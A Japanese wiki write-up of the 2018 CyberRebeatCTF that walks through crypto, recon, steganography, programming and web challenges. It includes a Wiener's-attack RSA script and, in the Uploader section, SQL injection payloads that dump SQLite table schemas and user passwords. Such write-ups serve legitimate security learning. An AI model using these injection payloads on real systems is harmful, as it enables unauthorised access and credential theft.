プロジェクト

全般

プロフィール

CTF Writeup CyberRebeatCTF » 履歴 » バージョン 1

kanata, 2025/04/13 15:22

1 1 kanata
# CTF Writeup CyberRebeatCTF
2
3
{{toc}}
4
5
# 結果&感想
6
7
{{rawhtml(<blockquote class="embedly-card"><h4><a href="https://ennach.sakura.ne.jp/CyberRebeatCTF/index_jp.html">CyberRebeatCTF</a></h4><p>Love UI Kit.</p></blockquote><script async src="//cdn.embedly.com/widgets/platform.js" charset="UTF-8"></script>)}}
8
9
{{rawhtml(<blockquote class="twitter-tweet" data-lang="ja"><p lang="ja" dir="ltr"><a href="https://twitter.com/hashtag/CyberRebeatCTF?src=hash&amp;ref_src=twsrc%5Etfw">#CyberRebeatCTF</a> 開催前まであんまり話に上がってこなかったし、チームメンバも集められなかったから<br>よーし、こっそり参加して1位取っちゃうぞーとイキってたら<br>しっかり強豪チーム参加してるし、解けない問題あるしもう辛い</p>&mdash; kanata (@kanata201612) <a href="https://twitter.com/kanata201612/status/1038548015982698496?ref_src=twsrc%5Etfw">2018年9月8日</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> )}}
10
11
でも結構解けて3232点で26位。チーム一人にしては頑張った方では
12
13
![question.jpg](question.jpg)
14
15
![ranking.jpg](ranking.jpg)
16
17
writeupは、すごい簡単なヤツは省略しました
18
19
# Binary - SimpleBinary
20
21
[peda](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Pwn#gdb-peda%E3%82%A4%E3%83%B3%E3%82%B9%E3%83%88%E3%83%BC%E3%83%AB%E6%89%8B%E9%A0%86)でステップ実行するだけ
22
23
![Binary_SimpleBinary.png](Binary_SimpleBinary.png)
24
25
# Crypto - Rotation
26
27
問題
28
29
```
30
P4P6S{9RN4RUNPXR45}
31
```
32
33
ROT13の亜種と踏んで対応表を作る
34
35
>P4P6SはCRCTFになることが判っているので、それをヒントに
36
37
```
38
0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
39
NOPQRSTUVWXYZ__________ABCDEFGHIJKLM
40
41
P4P6S{9RN4RUNPXR45}
42
CRCTF{WEAREHACKERS}
43
```
44
45
# Crypto FLAG.encrypted
46
47
暗号文と公開鍵を渡される
48
49
公開鍵を見てみる
50
51
```
52
$ openssl rsa -text -pubin < public-key.pem
53
Public-Key: (2048 bit)
54
Modulus:
55
    00:f7:aa:82:b3:38:65:4d:c5:5b:41:ce:6c:30:c2:
56
    94:3f:12:eb:9c:4d:f0:90:24:fe:9d:77:31:90:9f:
57
    a8:fc:c8:92:78:7a:59:ab:cf:cf:5d:18:12:03:2e:
58
    8f:9e:a7:5d:aa:d5:d5:6c:67:2b:ab:27:c8:bd:83:
59
    93:f9:2b:b3:f8:e2:f2:e1:88:cb:db:a8:96:1b:35:
60
    e5:54:f5:ae:8a:c6:39:23:f9:a2:83:d9:00:a2:c5:
61
    41:32:6d:81:12:15:6e:fe:d5:57:c1:dc:09:05:39:
62
    f6:d6:c5:d0:76:25:97:dc:13:d8:b6:e9:2a:ed:24:
63
    dc:a7:88:c0:64:cb:df:b8:c6:d4:da:7f:ba:77:70:
64
    9e:27:70:11:19:bb:d1:24:b9:fc:9e:ac:e7:95:d4:
65
    7d:24:46:15:6e:99:a9:c7:96:3d:ed:d6:77:63:38:
66
    70:8f:0e:6f:ee:3a:90:80:4f:d6:d5:b4:67:e0:98:
67
    d7:a0:e2:f0:cc:90:70:92:f6:7e:68:14:b9:8a:aa:
68
    fb:df:82:a4:25:04:35:b1:a2:eb:0f:98:5e:18:49:
69
    06:b0:53:8c:30:0d:7a:d5:fd:62:36:5e:73:5e:a2:
70
    c8:2b:6e:0a:98:47:e4:ab:22:07:67:88:ea:c8:68:
71
    a0:17:23:3d:12:6b:2c:0a:5c:8c:fe:a5:65:c0:f6:
72
    cf:9d
73
Exponent:
74
    00:b4:57:8e:b1:c5:f8:c4:7c:07:69:4e:2a:45:96:
75
    97:6d:ac:84:35:01:56:ed:1e:03:f7:c1:2b:30:79:
76
    c0:34:58:b3:e2:dd:94:49:91:fb:de:89:5c:66:f8:
77
    ad:9a:7a:f8:7a:7e:2d:14:b4:d0:60:cb:d1:7c:c3:
78
    55:b5:4c:86:5d:cc:74:f7:03:f7:b2:e2:20:4e:0d:
79
    60:2d:01:63:8f:b3:6e:ae:ec:89:9a:d7:22:56:90:
80
    7e:e5:32:2e:80:b8:b2:58:95:58:9f:1c:e6:bd:1c:
81
    a9:8c:38:53:82:07:b1:69:69:01:8f:8c:2f:0e:a5:
82
    3c:96:64:0d:00:3f:2b:57:af:3e:e0:96:52:44:a9:
83
    d3:72:43:2b:5b:3a:41:32:50:8b:70:ce:05:17:60:
84
    fb:9e:5f:70:b9:c9:cb:0e:56:eb:0b:7f:c2:04:d4:
85
    eb:b8:68:3b:b8:e5:c6:4a:49:b4:7b:c6:c9:2b:d0:
86
    5c:bf:ae:b8:f6:aa:35:0a:48:e3:0a:4b:5b:9d:c8:
87
    33:7f:6b:96:46:29:52:01:89:83:13:cf:cf:4f:a7:
88
    0f:0b:c1:d8:fc:d1:1a:0b:e9:6e:4a:16:32:76:f9:
89
    96:57:63:d5:fc:9c:fd:a7:26:0d:40:2d:2c:bd:f1:
90
    73:b4:bf:74:61:10:30:71:3b:4f:8d:5f:5b:ef:e7:
91
    33:e1
92
writing RSA key
93
-----BEGIN PUBLIC KEY-----
94
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAQEA96qCszhlTcVbQc5sMMKU
95
PxLrnE3wkCT+nXcxkJ+o/MiSeHpZq8/PXRgSAy6PnqddqtXVbGcrqyfIvYOT+Suz
96
+OLy4YjL26iWGzXlVPWuisY5I/mig9kAosVBMm2BEhVu/tVXwdwJBTn21sXQdiWX
97
3BPYtukq7STcp4jAZMvfuMbU2n+6d3CeJ3ARGbvRJLn8nqznldR9JEYVbpmpx5Y9
98
7dZ3Yzhwjw5v7jqQgE/W1bRn4JjXoOLwzJBwkvZ+aBS5iqr734KkJQQ1saLrD5he
99
GEkGsFOMMA161f1iNl5zXqLIK24KmEfkqyIHZ4jqyGigFyM9EmssClyM/qVlwPbP
100
nQKCAQEAtFeOscX4xHwHaU4qRZaXbayENQFW7R4D98ErMHnANFiz4t2USZH73olc
101
Zvitmnr4en4tFLTQYMvRfMNVtUyGXcx09wP3suIgTg1gLQFjj7NuruyJmtciVpB+
102
5TIugLiyWJVYnxzmvRypjDhTggexaWkBj4wvDqU8lmQNAD8rV68+4JZSRKnTckMr
103
WzpBMlCLcM4FF2D7nl9wucnLDlbrC3/CBNTruGg7uOXGSkm0e8bJK9Bcv6649qo1
104
CkjjCktbncgzf2uWRilSAYmDE8/PT6cPC8HY/NEaC+luShYydvmWV2PV/Jz9pyYN
105
QC0svfFztL90YRAwcTtPjV9b7+cz4Q==
106
-----END PUBLIC KEY-----
107
```
108
109
e(Exponent:の所)がめちゃめちゃデカイ(通常は、60000とかそんなオーダー)ので、[Wiener's Attack](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Crypto#Wiener39s-Attack-Boneh-Durfee39s-low-private-exponent-Attack)という方法で秘密鍵を作ることができる
110
111
という訳で[ココ](https://raintrees.net/projects/a-painter-and-a-black-cat/wiki/CTF_Crypto#Wiener39s-Attack-Boneh-Durfee39s-low-private-exponent-Attack)を参考にする(これを解くpythonスクリプトが[公開](https://github.com/pablocelayes/rsa-wiener-attack)されている)
112
113
RSAwienerHacker.py
114
115
```python
116
'''
117
Created on Dec 14, 2011
118
119
@author: pablocelayes
120
'''
121
122
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
123
124
def hack_RSA(e,n):
125
    '''
126
    Finds d knowing (e,n)
127
    applying the Wiener continued fraction attack
128
    '''
129
    frac = ContinuedFractions.rational_to_contfrac(e, n)
130
131
 中略
132
133
if __name__ == "__main__":
134
    #test_is_perfect_square()
135
    #print("-------------------------")
136
    #test_hack_RSA()
137
    e=22766071057080311941289025090582171055356241374729867687887721165996480747230400879635593368509050250879664911119593845131632736205037337764476149970317207453325852306744743355843865620488975017552101697514723815810433086583097066849281143179649731453788074604410013059110037363738062212112776408805474047616975914133565204728262194785129197335550911873746857764241100489778203898866941412395489839653170240092405989209278646213522785197290066584628647242197250525516210135602818305240062919066210956719110372916047407851800476348031106117342132809755720425300509425412742257946576118121595189882915440991231610926049
138
    n=31264943211208004265136257812922871300684039354012330190834942986731934389912197706421706868451670101634969269274623828581050676733228020854883441494567900924428451571798331504026565707472121772002140681756280190535290943933921834846379665606960802397274296703426557981596105415677658499356618548233939389723076124471098440146923189296244078349641695576997335766674231277153794543785116533620076935082137870329278026757983028280620935089387958708697459641119539250284149601503334899598799831125405703179815161182156366487341348125463136351944709488739527831476641990338237417959538685045943046162779336438891834429341
139
    c=24567627059377562868105614484423886273024535858360108293709261679303974926550497189439318672624908577264506046476457095137786384831468525272589929094908337881436149324019794812804219891902253459573562430438939521995518048214801992716419439933946327566830472479815195083586095517593863373723430345120492159440493853454549917293994609440452210512119496727038202944137382941943646738720300878617094056966029945525818099278253655536613076435706468907044890014106958504434142807788873217030828773024692575731383406593586446571051817010298103654965540184106091735284849357722355533064377719568465964571451310703450179760412
140
141
    hacked_d = hack_RSA(e, n)
142
        
143
    m=pow(c, hacked_d, n)
144
    print m
145
    print("%0512x" %m).decode("hex") 
146
```
147
148
出た
149
150
```
151
$ python RSAwienerHacker.py 
152
Hacked!
153
11405121556080574200507976540560550567250962398176989090968706090657735628827286003460256776456266696526501583189995873715586019586481188841669553558064962347526003585805296128704234019155927711938147927921799855258102900099957024052894182297906442193293573956451926259091091855321350867274034175705817860160056101092426800441790539634641631263205085840727897980883608411419899029774809300174380547858121642152179538920767606647604516848492915723070085962700864043872803063238370675580861448504677111372925814117825694429346520229939794702430188586491323156507194176,`/nIPSG766*|,zso123097695888071358419235048714
154
Dx abyb}0<ƁOGK}
155
B."Yϱ
156
     򿍨2:JY\     umU2y*4ԄqquᯖwL CRCTF{On that day, there was definitely something behind Warlock's disappearance.}
157
```
158
159
# Misc - Readme
160
161
![Misc_readme.jpg](Misc_readme.jpg)
162
163
気合で読む、こんな感じ
164
165
![Misc_readme_excel.jpg](Misc_readme_excel.jpg)
166
167
# Programing - Calculation
168
169
```
170
nc 59.106.212.75 8080
171
```
172
173
こういう問題文。繋ぐと計算式が表示されて、計算結果を返すのを繰り返す
174
みんな好きな言語でプログラミングすると思うんだけど、こういうのシェルスクリプトでサクッといけるんやで
175
176
```bash
177
#!/bin/sh
178
179
exec 5<>/dev/tcp/59.106.212.75/8080
180
181
for I in {1..101}
182
do
183
  cat 0<&5>test.txt &
184
    sleep 1
185
    pkill cat
186
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|bc`
187
    echo ${ANSWER} >&5
188
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
189
done
190
191
exit 0
192
```
193
194
# Programing - Prime Factor
195
196
```
197
Answer the maximum prime factor.
198
199
nc 59.106.212.75 8081
200
201
example:
202
Question:120
203
Answer:5 (Prime Factors: 2, 3, 5)
204
```
205
206
こういうのもシェルスクリプトでサクッといけるんやで(2回目)
207
208
```bash
209
#!/bin/sh
210
211
exec 5<>/dev/tcp/59.106.212.75/8081
212
213
for I in {1..101}
214
do
215
  cat 0<&5>test.txt &
216
    sleep 1
217
    pkill cat
218
    ANSWER=`cat test.txt|tail -1|sed 's/=//g'|tr -d $'\357\273\277'|factor|awk '{print $NF}'`
219
    echo ${ANSWER} >&5
220
    echo Debug [${I}] $(cat test.txt) '=' ${ANSWER}
221
done
222
223
exit 0
224
```
225
226
# Recon - Tweet
227
228
```
229
Let's check our official twitter account!
230
```
231
232
はい
233
234
{{rawhtml(<blockquote class="twitter-tweet" data-lang="ja"><p lang="en" dir="ltr">CRCTF{CyberRebeatCTF_has_started!}</p>&mdash; CyberRebeat (@CyberRebeat) <a href="https://twitter.com/CyberRebeat/status/1038306822602416128?ref_src=twsrc%5Etfw">2018年9月8日</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> )}}
235
236
# Recon - CyberRebeatScripts
237
238
```
239
Do you know Github?
240
```
241
242
調べると出てくる
243
244
https://github.com/ennach/CyberRebeatScripts
245
246
これを git clone して、git log -p する
247
248
```
249
commit 86cc1779522ad0708ad0b829935b08ac42b2588d
250
Author: ennach <ennach@gmail.com>
251
Date:   Tue Sep 4 22:38:27 2018 +0900
252
253
    delete FLAG
254
255
diff --git a/chapter1-1en.txt b/chapter1-1en.txt
256
index db0ded3..a16cc12 100644
257
--- a/chapter1-1en.txt
258
+++ b/chapter1-1en.txt
259
@@ -98,7 +98,6 @@
260
 "Hiro, I'll take the lady to go."
261
 "Neko-san already did that joke."
262
 @erase_chara
263
-@FLAG=CRCTF{I cut down her gag in a single strike}
264
```
265
266
# Recon - I changed my history on Github!
267
268
```
269
I changed my history on Github!
270
```
271
272
ちょっとハマった。該当のリポジトリ
273
274
https://github.com/ennach/ChangeHistory
275
276
消されたコミットIDは、このページから解る
277
278
https://github.com/ennach
279
280
> [ToDo] I committed the FLAG by mistake!
281
>
282
>That commit hash is c476614bc439fe1910e494422b3aa207b776d486 I have to remove it!
283
284
無かった事にされたコミットIDは、git cloneしても持ってこれない
285
ただGitHub上にはあるという事を以下のサイトで知った
286
287
No Purpose - GitHub、消えたコミットを追え
288
http://highwide.hatenablog.com/entry/2015/02/06/204552
289
290
という訳で、以下にアクセスすると解る
291
https://github.com/ennach/ChangeHistory/commit/c476614bc439fe1910e494422b3aa207b776d486
292
293
```
294
+ からあげとご飯を皿に移し、電子レンジへ放り込む。
295
+ ちなみにこの電子レンジ、家電の中でも特に魔改造が施されていて、インターフェースまわりは原形を留めてすらいない。代わりにメインの組み込み系がクラックされていて、通常は使用できないモードや機能が使えるようになっているのだという。
296
+ なんの役にも立たないし、使う気もないのでそちらの機能を試したことは一度もないが。
297
+「この量なら2分くらいかな」
298
+ コマンドラインを呼び出し、電子レンジに命令を送る。条件はデフォルト、ただしタイマーのみ120sに設定。実行コマンドを入力して送信すると、ノータイムで目の前の電子レンジが回り始めた。
299
+ まるで隣の家に宅配便を送るみたいな迂遠さだ。
300
+「これ、もっとどうにかならないの?」
301
+「CRCTF{the timer is set to 120 seconds}」
302
```
303
304
# Stegano - secret.pdf
305
306
黒塗りされたpdfが渡される
307
308
![Stegano_secretpdf.jpg](Stegano_secretpdf.jpg)
309
310
コピペで中身見れる
311
312
```
313
FLAG is CRCTF{I don't know of a time without the internet}
314
```
315
316
# Stegano - Alpha
317
318
![Stegano_alpha.png](Stegano_alpha.png)
319
320
これに何か入っているらしい
321
色んな画像ソフトで画質調整すると、おそよ文字っぽいものが見えるのだけど、男性の部分が邪魔して全体が見えない
322
323
![Stegano_secretpdf1.jpg](Stegano_secretpdf1.jpg)
324
325
png画像のアルファチャンネルだけ上手く抽出できれば良さそうなのだけれど、その方法に難儀していた
326
327
[うさみみハリケーン](https://www.vector.co.jp/soft/win95/prog/se375830.html)の付属ソフト「青い空を見上げればいつもそこに白い猫」で解析できることが解った
328
329
うさみみハリケーン Ver 0.28 最新オンラインヘルプ - ステガノグラフィーの解析について
330
https://digitaltravesia.jp/usamimihurricane/webhelp/_RESOURCE/MenuItem/another/anotherAboutSteganography.html
331
332
と、言うわけで「青い空を見上げればいつもそこに白い猫」使うと解る
333
334
![Stegano_secretpdf2.jpg 60%](Stegano_secretpdf2.jpg)
335
336
# Stegano - Last 5 boxes
337
338
```
339
The FLAG is hiding at the last 5 boxes.
340
341
https://cyberrebeat.adctf.online/static/a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4
342
```
343
344
けっこう時間かかった。。
345
346
mp4の動画に隠された情報を見つけろいう事やね。どうやらmp4はボックス構造というのになっているらしい
347
[mp4box](https://www.videohelp.com/software/MP4Box)というツールで見てみる
348
349
```
350
<?xml version="1.0" encoding="UTF-8"?>
351
<!--MP4Box dump trace-->
352
<IsoMediaFile xmlns="urn:mpeg:isobmff:schema:file:2016" Name="a4e796eabf01249f6eb8d565ee66849a5bacb472d4ea8adcc6b4dda8f97d318c.mp4">
353
<FileTypeBox Size="40" Type="ftyp" Specification="p12" Container="file" MajorBrand="M4V " MinorVersion="0">
354
<BrandEntry AlternateBrand="M4V "/>
355
<BrandEntry AlternateBrand="M4A "/>
356
357
中略
358
359
</MovieBox>
360
<MediaDataBox Size="20902115" Type="mdat" Specification="p12" Container="file" dataSize="20902107">
361
</MediaDataBox>
362
<UUIDBox Size="1024" Type="uuid" UUID="{18E66A6B-FBDF0D41-80DF83B8-E1CE2B59}" Specification="unknown" Container="unknown" >
363
</UUIDBox>
364
<UUIDBox Size="1024" Type="uuid" UUID="{07B14494-B8E2AF4D-9BD6652B-52052AC6}" Specification="unknown" Container="unknown" >
365
</UUIDBox>
366
<UUIDBox Size="1024" Type="uuid" UUID="{14C6D472-C69F4846-ACD23749-2ED79CB9}" Specification="unknown" Container="unknown" >
367
</UUIDBox>
368
<UUIDBox Size="1024" Type="uuid" UUID="{792E16CC-B4887445-AC310002-334FD627}" Specification="unknown" Container="unknown" >
369
</UUIDBox>
370
<UUIDBox Size="1612" Type="uuid" UUID="{C386DEC1-144E214D-9BBE788C-4474F39F}" Specification="unknown" Container="unknown" >
371
</UUIDBox>
372
</IsoMediaFile>
373
```
374
375
なんか1024,1024,1024,1024,1612byteのデータがお尻にくっついているっぽい
376
見てみますか
377
378
![Stegano_Last5boxes1.png](Stegano_Last5boxes1.png)
379
380
あ、赤い所見てみたら「臼NG」の文字が(目grep)、pngファイルのマジックバイトやコレ
381
きっとお尻にpngがくっついてるね!
382
しかし、これを切り出して表示したけど、真っ黒
383
384
おそらく、残りの4box分のヘッダ情報を取り除かなければ!
385
ファイルフォーマットを確認してみる
386
387
あるべるのIT関連メモ - MP4(コンテナ) - 1.Box構造
388
https://albel06.hatenablog.com/entry/2017/12/20/205103
389
390
こうなってて
391
392
```
393
aligned(8) class Box (unsigned int(32) box type, 
394
                      optional unsigned int(8)[16] extended_type) {
395
    unsigned int(32) size;
396
    unsigned int(32) type = boxtype;
397
    if (size == 1) {
398
        unsigned int(64) largesize;
399
    } else if (size == 0) {
400
        // box extends to end of file
401
    }
402
    if (boxtype == 'uuid') {
403
        unsigned int(8)[16] usertype = extended_type;
404
    }
405
}
406
```
407
408
こうなってるらしい
409
410
411
>ユーザー定義Box
412
>Boxの定義にはoptionalでextended_typeというものがあり、ユーザーがuuidを設定することでユニークなユーザー定義Boxを使用することができる。そのときのBoxタイプは'uuid'とし、typeの後ろに16byteのuuidを記録する。uuid Box以下、残りの領域は自由に定義が可能。
413
414
415
どうも24byte分の情報を除く(残り四箇所)しなきゃいけないらしい。確認してみる
416
417
![Stegano_Last5boxes2.png](Stegano_Last5boxes2.png)
418
419
あーはいはい、そういうことね完全に理解した
420
仕様通りや
421
422
```
423
00 00 04 00 : size 1024 byte
424
75 75 69 64 : type "uuid"
425
07B14494-B8E2AF4D-9BD6652B-52052AC6 : uuid
426
```
427
428
という訳でこれらを削除してpng画像完成!
429
430
![Stegano_Last5boxes3.png](Stegano_Last5boxes3.png)
431
432
# Web - White page
433
434
```
435
http://hidden-field.cyberrebeat.adctf.online/index.php
436
id:Hiro
437
password:LittleGarden
438
```
439
440
ログインしたくてもできないページ
441
Chromeのデベロッパーツールで開くとINPUTタグにhidden属性がついてる
442
これをデベロッパーツールで削除すればログインできる
443
444
![Web_Whitepage1.png](Web_Whitepage1.png)
445
446
はい
447
448
![Web_Whitepage2.png](Web_Whitepage2.png)
449
450
# Web - Uploader
451
452
```
453
Find the secret file.
454
http://sqli.cyberrebeat.adctf.online/index.php
455
456
id:guest
457
pass:guest
458
```
459
460
なんかいろいろやっていると SQL Injection の脆弱性を見つけた
461
エラーメッセージからSQLiteだという事もわかった
462
463
File Name: にこれを入力
464
465
```
466
' OR 'A' = 'A' --
467
```
468
469
![Web_Uploader1.png](Web_Uploader1.png)
470
471
> secret.zipが出てきた。ダウンロードしたらzipパスワードかかってる
472
473
SQLiteとわかったので、テーブル情報を抜く
474
475
```
476
' OR 'A' = 'A' union select name,sql,null,null from sqlite_master where type='table' --
477
```
478
479
![Web_Uploader2.png](Web_Uploader2.png)
480
481
```
482
Files	CREATE TABLE "Files" ( `id`	INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, `file_name`	TEXT NOT NULL, `publication_date`	INTEGER NOT NULL, `upload_userid`	TEXT )	  	
483
Users	CREATE TABLE `Users` ( `userid`	TEXT NOT NULL, `password`	TEXT NOT NULL )	  	
484
sqlite_sequence	CREATE TABLE sqlite_sequence(name,seq)	
485
```
486
487
ふんふむ。こんなテーブルだね
488
489
Files
490
491
| id | file_name | publication_date | upload_userid |
492
|----|-----------|------------------|---------------|
493
| ?  | ?         | ?                | ?             | 
494
495
Users
496
497
| userid | password |
498
|--------|----------|
499
| ?      | ?        |
500
501
じゃ、Usersテーブルからパスワード抜きましょ
502
503
```
504
' OR 'A' = 'A' union select userid,password,null,null from Users --
505
```
506
507
![Web_Uploader3.png](Web_Uploader3.png)
508
509
じゃ、harada seishin0129 でログインしましょう!
510
511
![Web_Uploader4.png](Web_Uploader4.png)
512
513
ほい、zipのパスワードゲット!
514
zip展開して、コレ
515
516
```
517
CRCTF{Today's_internet_is_full_of_concerning_vulnerabilities}
518
```